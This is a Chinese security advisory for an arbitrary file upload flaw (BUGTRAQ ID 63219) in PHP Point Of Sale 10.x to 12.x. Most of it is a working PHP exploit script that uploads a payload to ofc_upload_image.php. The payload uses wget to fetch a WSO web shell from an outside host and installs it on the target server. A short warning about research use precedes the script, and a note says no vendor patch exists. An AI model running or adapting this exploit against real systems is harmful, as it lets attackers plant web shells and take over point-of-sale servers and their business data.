发布日期:2013-10-18
更新日期:2013-10-22
受影响系统:
PHP Point Of Sale PHP Point Of Sale 12.x
PHP Point Of Sale PHP Point Of Sale 11.x
PHP Point Of Sale PHP Point Of Sale 10.x
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 63219
PHP Point Of Sale是在线销售点解决方案。
PHP Point Of Sale 10.x, 11.x, 12.x版本没有正确验证ofc_upload_image.php脚本的输入,可使远程攻击者以提升的权限执行任意代码。
<*来源:Gabby
链接:
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<?php
$options = getopt('t:n:');
if(!isset($options['t'], $options['n']))
die("\n [+] Simple Exploiter Point Of Sale by Gabby [+] \n Usage : php sale.php -t -n bie.php\n
-t = Target mu ..
-n bie.php = Nama file yang mau kamu pakai...\n\n");
$target = $options['t'];
$nama = $options['n'];
$shell = "{$target}/application/libraries/tmp-upload-images/{$nama}";
$target = "{$target}/application/libraries/ofc-library/ofc_upload_image.php?name={$nama}";
$data = '<?php
system("wget ; mv wso.txt bie.php");
fclose ( $handle );
?>';
$headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1',
'Content-Type: text/plain');
echo "=============================================== \n";
echo ": Simple Exploiter Point Of Sale by Gabby :\n";
echo "=============================================== \n\n";
echo "[+] Upload Shell ke : {$options['t']}\n";
$handle = curl_init();
curl_setopt($handle, CURLOPT_URL, $target);
curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);
curl_setopt($handle, CURLOPT_POSTFIELDS, $data);
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
$source = curl_exec($handle);
curl_close($handle);
if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($shell, 'r'))
{
echo "[+] Exploit Sukses,.. :D\n";
echo "[+] {$shell}\n";
}
else
{
die("[-] Exploit Gagal,.. :(\n");
}
?>
建议:
--------------------------------------------------------------------------------
厂商补丁:
PHP Point Of Sale
-----------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
https://www.phppointofsale.com/